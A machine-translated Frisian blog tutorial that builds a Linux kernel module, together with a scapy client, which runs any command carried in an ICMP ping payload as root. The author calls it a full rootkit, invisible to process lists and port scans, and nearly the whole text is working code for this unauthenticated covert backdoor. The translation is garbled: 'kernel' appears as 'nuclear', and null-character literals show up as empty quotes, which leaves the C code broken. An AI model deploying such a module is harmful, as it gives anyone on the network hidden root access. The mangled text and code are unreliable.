Nukleêre shell oer ICMP

Nukleêre shell oer ICMP

TL; DR: Ik skriuw in kernelmodule dy't kommando's sil lêze fan 'e ICMP-lading en se útfiere op' e tsjinner, sels as jo SSH crasht. Foar de meast ûngeduldich is alle koade GitHub.

Caution! Erfarne C-programmeurs riskearje yn triennen fan bloed te barsten! Ik kin sels mis wêze yn 'e terminology, mar elke krityk is wolkom. De post is bedoeld foar dyjingen dy't in heul rûch idee hawwe fan C-programmearring en wolle yn 'e binnenkant fan Linux sjen.

Yn de kommentaren oan myn earste artikel neamd SoftEther VPN, dat kin mimic guon "gewoane" protokollen, benammen HTTPS, ICMP en sels DNS. Ik kin my yntinke dat allinich de earste fan har wurket, om't ik heul bekend bin mei HTTP(S), en ik moast tunneling leare oer ICMP en DNS.

Nukleêre shell oer ICMP

Ja, yn 2020 learde ik dat jo in willekeurige lading kinne ynfoegje yn ICMP-pakketten. Mar better let as nea! En om't der wat oan dien wurde kin, dan moat it dien wurde. Sûnt ik yn myn deistich libben meast de kommandorigel brûke, ynklusyf fia SSH, kaam it idee fan in ICMP-shell earst yn myn tinzen. En om in folsleine bullshield-bingo te sammeljen, besleat ik it te skriuwen as in Linux-module yn in taal dêr't ik mar in rûch idee fan haw. Sa'n shell sil net sichtber wêze yn 'e list mei prosessen, jo kinne it yn' e kearn lade en it sil net op it bestânsysteem wêze, jo sille neat fertochts sjen yn 'e list mei harkpoarten. Wat syn mooglikheden oanbelanget, is dit in folsleine rootkit, mar ik hoopje it te ferbetterjen en te brûken as in shell fan lêste ynstânsje as it Load Average te heech is om yn te loggen fia SSH en op syn minst út te fieren echo i > /proc/sysrq-triggerom tagong te herstellen sûnder opnij te starten.

Wy nimme in tekst bewurker, basis programmearring feardichheden yn Python en C, Google en firtuele dy't jo it net skele om ûnder it mes te setten as alles brekt (opsjoneel - lokale VirtualBox / KVM / ensfh) en litte wy gean!

Client kant

It like my ta dat ik foar it kliïntepart in skript skriuwe soe mei sa'n 80 rigels, mar der wiene aardige minsken dy't it foar my diene al it wurk. De koade die bliken ûnferwachts ienfâldich te wêzen, en paste yn 10 wichtige rigels:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

It skript nimt twa arguminten, in adres en in lading. Foardat it ferstjoeren wurdt, wurdt de lading foarôfgien troch in kaai run:, sille wy it nedich hawwe om pakketten mei willekeurige loadloads út te sluten.

De kernel fereasket privileezjes om pakketten te meitsjen, dus it skript sil moatte wurde útfierd as superuser. Ferjit net útfieringsrjochten te jaan en scapy sels te ynstallearjen. Debian hat in pakket neamd python3-scapy. No kinne jo kontrolearje hoe't it allegear wurket.

It kommando útfiere en útfiere
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Dit is hoe't it liket yn 'e sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

De lading yn it antwurdpakket feroaret net.

Kernel module

Om in Debian firtuele masine yn te bouwen sille jo op syn minst nedich wêze make и linux-headers-amd64, de rest sil komme yn 'e foarm fan ôfhinklikens. Ik sil de hiele koade net leverje yn it artikel, jo kinne it klone op Github.

Hook opset

Om te begjinnen hawwe wy twa funksjes nedich om de module te laden en te ûntladen. De funksje foar lossen is net nedich, mar dan rmmod it sil net wurkje de module sil allinne wurde ûntladen as útskeakele.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Wat bart hjir:

  1. Twa koptekstbestannen wurde ynlutsen om de module sels en it netfilter te manipulearjen.
  2. Alle operaasjes geane troch in netfilter, jo kinne haken ynstelle. Om dit te dwaan, moatte jo de struktuer ferklearje wêryn de heak ynsteld wurdt. It wichtichste is om de funksje oan te jaan dy't as in heak útfierd wurde sil: nfho.hook = icmp_cmd_executor; Ik kom letter op de funksje sels.
    Dan stel ik de ferwurkingstiid foar it pakket yn: NF_INET_PRE_ROUTING spesifisearret om it pakket te ferwurkjen as it foar it earst yn 'e kernel ferskynt. Kin brûkt wurde NF_INET_POST_ROUTING om it pakket te ferwurkjen as it de kernel útgiet.
    Ik set it filter op IPv4: nfho.pf = PF_INET;.
    Ik jou myn heak de heechste prioriteit: nfho.priority = NF_IP_PRI_FIRST;
    En ik registrearje de gegevensstruktuer as de eigentlike heak: nf_register_net_hook(&init_net, &nfho);
  3. De lêste funksje ferwideret de heak.
  4. De lisinsje is dúdlik oanjûn sadat de gearstaller net kleie.
  5. Funksjes module_init() и module_exit() oare funksjes ynstelle om de module te inisjalisearjen en te beëinigjen.

It opheljen fan de lading

No moatte wy de lading útpakke, dit die bliken de dreechste taak te wêzen. De kernel hat gjin ynboude funksjes foar it wurkjen mei loadloads, jo kinne allinich kopteksten fan protokollen op heger nivo parse.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Wat bart der:

  1. Ik moast ekstra koptekstbestannen opnimme, dizze kear om IP- en ICMP-koppen te manipulearjen.
  2. Ik set de maksimale line lingte: #define MAX_CMD_LEN 1976. Wêrom krekt dit? Want de gearstaller klaget der oer! Se hawwe my al foarsteld dat ik de stapel en heap moat begripe, ienris sil ik dit perfoarst dwaan en miskien sels de koade korrigearje. Ik sette fuortendaliks de line yn dy't it kommando sil befetsje: char cmd_string[MAX_CMD_LEN];. It soe sichtber wêze moatte yn alle funksjes Ik sil it yn paragraaf 9 yn mear detail hawwe.
  3. No moatte wy inisjalisearje (struct work_struct my_work;) struktuer en ferbine it mei in oare funksje (DECLARE_WORK(my_work, work_handler);). Ik sil ek prate oer wêrom't dit nedich is yn 'e njoggende paragraaf.
  4. No ferklearje ik in funksje, dy't in heak wêze sil. It type en akseptearre arguminten wurde diktearre troch it netfilter, wy binne allinich ynteressearre yn skb. Dit is in socketbuffer, in fûnemintele gegevensstruktuer dy't alle beskikbere ynformaasje oer in pakket befettet.
  5. Om de funksje te wurkjen, sille jo twa struktueren en ferskate fariabelen nedich hawwe, ynklusyf twa iterators.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Wy kinne begjinne mei logika. Foar de module om te wurkjen, gjin pakketten oars as ICMP Echo binne nedich, dus wy parse de buffer mei help fan ynboude funksjes en smyt alle net-ICMP en net-Echo pakketten. Weromkomme NF_ACCEPT betsjut akseptaasje fan it pakket, mar jo kinne ek drop pakketten troch werom NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ik haw net hifke wat der barre sil sûnder de IP-koppen te kontrolearjen. Myn minimale kennis fan C fertelt my dat sûnder ekstra kontrôles der wat ferskrikliks te barren is. Ik sil bliid wêze as jo my hjirfan ôfwarje!

  7. No't it pakket fan it krekte type is dat jo nedich binne, kinne jo de gegevens ekstrahearje. Sûnder in ynboude funksje moatte jo earst in oanwizer krije nei it begjin fan 'e lading. Dit wurdt dien op ien plak, jo moatte de oanwizer nimme nei it begjin fan 'e ICMP-koptekst en ferpleatse it nei de grutte fan dizze koptekst. Alles brûkt struktuer icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    It ein fan 'e koptekst moat oerienkomme mei it ein fan' e lading yn skb, dêrom krije wy it mei nukleêre middels fan 'e oerienkommende struktuer: tail = skb_tail_pointer(skb);.

    Nukleêre shell oer ICMP

    De foto is stellen fan hjir, kinne jo lêze mear oer de socket buffer.

  8. As jo ​​​​ienris oanwizers hawwe nei it begjin en ein, kinne jo de gegevens kopiearje yn in tekenrige cmd_string, kontrolearje it foar de oanwêzigens fan in foarheaksel run: en, óf wegerje it pakket as it ûntbrekt, of skriuw de rigel nochris, it fuortsmiten fan dit foarheaksel.
  9. Dat is it, no kinne jo in oare handler skilje: schedule_work(&my_work);. Om't it net mooglik is om in parameter troch te jaan oan sa'n oprop, moat de line mei it kommando globaal wêze. schedule_work() sil de funksje ferbûn mei de trochjûne struktuer pleatse yn 'e algemiene wachtrige fan' e taakplanner en foltôgje, sadat jo net wachtsje kinne op it kommando om te foltôgjen. Dit is nedich om't de heak tige fluch wêze moat. Oars, jo kar is dat neat sil begjinne of jo krije in kernel panyk. Fertraging is as de dea!
  10. Dat is it, jo kinne it pakket akseptearje mei in oerienkommende rendemint.

In programma oproppe yn brûkersromte

Dizze funksje is de meast begryplike. Syn namme waard jûn yn DECLARE_WORK(), it type en akseptearre arguminten binne net ynteressant. Wy nimme de line mei it kommando en jouwe it folslein nei de shell. Lit him dwaande hâlde mei parsing, sykjen nei binaries en al it oare.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Stel de arguminten op in array fan stringen argv[]. Ik nim oan dat elkenien wit dat programma's eins wurde útfierd op dizze manier, en net as in trochgeande line mei spaasjes.
  2. Set omjouwingsfariabelen. Ik ynfoege allinnich PATH mei in minimum set fan paden, yn 'e hope dat se wienen allegearre al kombinearre /bin с /usr/bin и /sbin с /usr/sbin. Oare paden binne selden fan belang yn 'e praktyk.
  3. Dien, litte wy it dwaan! Kernel funksje call_usermodehelper() akseptearret yngong. paad nei de binêre, array fan arguminten, array fan omjouwingsfariabelen. Hjir gean ik ek fanút dat elkenien de betsjutting fan it trochjaan fan it paad nei it útfierbere bestân as in apart argumint begrypt, mar jo kinne freegje. It lêste argumint spesifisearret of it moat wachtsje oant it proses foltôge is (UMH_WAIT_PROC), proses start (UMH_WAIT_EXEC) of hielendal net wachtsje (UMH_NO_WAIT). Is der wat mear UMH_KILLABLE, Ik haw der net nei sjoen.

Assembly

De gearstalling fan kernelmodules wurdt útfierd fia it kernel-make-framework. Neamd make binnen in spesjale map ferbûn oan de kernelferzje (hjir definiearre: KERNELDIR:=/lib/modules/$(shell uname -r)/build), en de lokaasje fan de module wurdt trochjûn oan de fariabele M yn de arguminten. De icmpshell.ko en skjinne doelen brûke dit ramt folslein. YN obj-m jout it objekttriem oan dat wurdt omboud ta in module. Syntaksis dy't remakes main.o в icmpshell.o (icmpshell-objs = main.o) liket my net botte logysk, mar sa is it.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Wy sammelje: make. Laden: insmod icmpshell.ko. Dien, jo kinne kontrolearje: sudo ./send.py 45.11.26.232 "date > /tmp/test". As jo ​​in triem op jo masine /tmp/test en it befettet de datum dat it fersyk is ferstjoerd, wat betsjut dat jo alles goed dien hawwe en ik alles goed dien.

konklúzje

Myn earste ûnderfining mei nukleêre ûntwikkeling wie folle makliker dan ik ferwachte. Sels sûnder ûnderfining te ûntwikkeljen yn C, rjochte op kompiler-hints en Google-resultaten, koe ik in wurkjende module skriuwe en fiele as in kernel-hacker, en tagelyk in skript-kiddie. Derneist gie ik nei it Kernel Newbies-kanaal, wêr't ik ferteld waard om te brûken schedule_work() ynstee fan belje call_usermodehelper() binnen de heak sels en skamte him, terjochte fertocht in scam. Hûndert rigels koade koste my sawat in wike fan ûntwikkeling yn myn frije tiid. In suksesfolle ûnderfining dy't myn persoanlike myte ferneatige oer de oerweldigjende kompleksiteit fan systeemûntwikkeling.

As immen ynstimt om in koadebeoardieling te dwaan op Github, sil ik tankber wêze. Ik bin der wis fan dat ik in protte domme flaters makke, benammen by it wurkjen mei snaren.

Nukleêre shell oer ICMP

Boarne: www.habr.com

Add a comment